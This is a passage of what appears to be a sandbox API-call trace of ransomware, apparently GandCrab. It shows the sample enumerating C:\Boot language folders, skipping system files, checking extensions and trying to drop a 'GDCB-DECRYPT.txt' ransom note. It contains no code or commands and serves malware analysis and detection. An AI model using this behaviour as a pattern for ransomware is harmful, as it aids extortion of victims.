lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\memtest.exe.mui") returned="C:\\Boot\\nl-NL\\memtest.exe.mui" [0135.275] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.275] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0135.275] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0135.275] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.275] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.275] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.275] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.275] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0135.275] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0135.275] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pl-PL" | out: lpString1="C:\\Boot\\pl-PL") returned="C:\\Boot\\pl-PL" [0135.275] lstrcatW (in: lpString1="C:\\Boot\\pl-PL", lpString2="\\" | out: lpString1="C:\\Boot\\pl-PL\\") returned="C:\\Boot\\pl-PL\\" [0135.275] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.275] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.275] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.275] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.276] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.276] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.276] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0135.276] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="C:\\Boot\\pl-PL\\*") returned="C:\\Boot\\pl-PL\\*" [0135.276] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c77c0 [0135.276] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.276] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.276] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.276] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.276] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.276] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.276] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.276] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="C:\\Boot\\pl-PL\\bootmgr.exe.mui" [0135.276] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0135.276] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.276] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.276] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.276] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.276] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt" [0135.276] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0135.276] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.276] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.276] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.276] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.277] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\memtest.exe.mui") returned="C:\\Boot\\pl-PL\\memtest.exe.mui" [0135.277] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0135.277] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.277] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.277] FindClose (in: hFindFile=0x2c77c0 | out: hFindFile=0x2c77c0) returned 1 [0135.277] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.277] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\pl-PL\\\\GDCB-DECRYPT.txt") returned 31 [0135.277] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\pl-pl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.277] GetLastError () returned 0x50 [0135.277] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.277] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0135.277] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="C:\\Boot\\pl-PL\\*") returned="C:\\Boot\\pl-PL\\*" [0135.277] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7900 [0135.277] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.277] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.277] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.277] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.277] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.277] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.277] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.277] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="C:\\Boot\\pl-PL\\bootmgr.exe.mui" [0135.277] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.278] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0135.278] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0135.278] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.278] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.278] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.278] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.278] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt" [0135.278] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.278] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0135.278] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0135.278] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0135.278] lstrlenW (lpString="C:\\Boot\\pl-PL\\GDCB-DECRYPT.txt") returned 30 [0135.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.278] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.278] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.278] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.278] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.278] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\memtest.exe.mui") returned="C:\\Boot\\pl-PL\\memtest.exe.mui" [0135.278] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.279] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0135.279] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0135.279] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.279] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.279] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.279] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.279] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0135.279] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0135.279] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-BR" | out: lpString1="C:\\Boot\\pt-BR") returned="C:\\Boot\\pt-BR" [0135.279] lstrcatW (in: lpString1="C:\\Boot\\pt-BR", lpString2="\\" | out: lpString1="C:\\Boot\\pt-BR\\") returned="C:\\Boot\\pt-BR\\" [0135.279] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.279] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.279] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.279] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.279] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.279] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.279] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0135.279] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-BR\\*") returned="C:\\Boot\\pt-BR\\*" [0135.279] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.280] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.280] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.280] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.280] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.280] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.280] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.280] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.280] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="C:\\Boot\\pt-BR\\bootmgr.exe.mui" [0135.280] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0135.280] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.280] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.280] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.280] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.280] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt" [0135.280] lstrlenW (lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0135.280] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.280] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.280] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.280] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.280] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\memtest.exe.mui") returned="C:\\Boot\\pt-BR\\memtest.exe.mui" [0135.280] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0135.280] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.280] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.280] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.280] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.281] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\pt-BR\\\\GDCB-DECRYPT.txt") returned 31 [0135.281] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\pt-br\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.281] GetLastError () returned 0x50 [0135.281] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.281] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0135.281] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-BR\\*") returned="C:\\Boot\\pt-BR\\*" [0135.281] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7780 [0135.281] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.281] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.281] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.281] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.281] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.281] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.281] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.281] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="C:\\Boot\\pt-BR\\bootmgr.exe.mui" [0135.281] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.281] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0135.281] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0135.281] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.282] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.282] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.282] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.282] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt" [0135.282] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.282] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0135.282] lstrlenW (lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0135.282] lstrlenW (lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0135.282] lstrlenW (lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0135.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.282] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.282] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.282] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.282] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.282] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\memtest.exe.mui") returned="C:\\Boot\\pt-BR\\memtest.exe.mui" [0135.282] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.282] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0135.282] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0135.282] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.283] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.283] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.283] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.283] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0135.283] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0135.283] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-PT" | out: lpString1="C:\\Boot\\pt-PT") returned="C:\\Boot\\pt-PT" [0135.283] lstrcatW (in: lpString1="C:\\Boot\\pt-PT", lpString2="\\" | out: lpString1="C:\\Boot\\pt-PT\\") returned="C:\\Boot\\pt-PT\\" [0135.283] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.283] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.283] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0135.283] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-PT\\*") returned="C:\\Boot\\pt-PT\\*" [0135.283] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7540 [0135.283] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.283] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.283] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.283] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.283] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.283] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.283] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.284] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="C:\\Boot\\pt-PT\\bootmgr.exe.mui" [0135.284] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0135.284] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.284] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.284] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.284] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.284] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt" [0135.284] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0135.284] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.284] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.284] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.284] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.284] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\memtest.exe.mui") returned="C:\\Boot\\pt-PT\\memtest.exe.mui" [0135.284] lstrlenW (lpString="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0135.284] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.284] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.284] FindClose (in: hFindFile=0x2c7540 | out: hFindFile=0x2c7540) returned 1 [0135.284] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.284] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\pt-PT\\\\GDCB-DECRYPT.txt") returned 31 [0135.284] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\pt-pt\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.285] GetLastError () returned 0x50 [0135.285] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.285] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0135.285] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-PT\\*") returned="C:\\Boot\\pt-PT\\*" [0135.285] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7900 [0135.285] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.285] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.285] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.285] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.285] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.285] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.285] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.285] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="C:\\Boot\\pt-PT\\bootmgr.exe.mui" [0135.285] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.285] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0135.285] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0135.285] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.286] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.286] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.286] lstrcmpW 